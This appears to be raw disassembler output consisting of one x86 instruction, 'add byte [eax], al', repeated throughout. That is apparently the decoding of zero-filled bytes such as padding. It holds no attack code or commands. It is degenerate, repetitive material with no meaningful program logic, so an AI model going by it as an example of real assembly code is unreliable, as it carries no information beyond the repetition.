add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al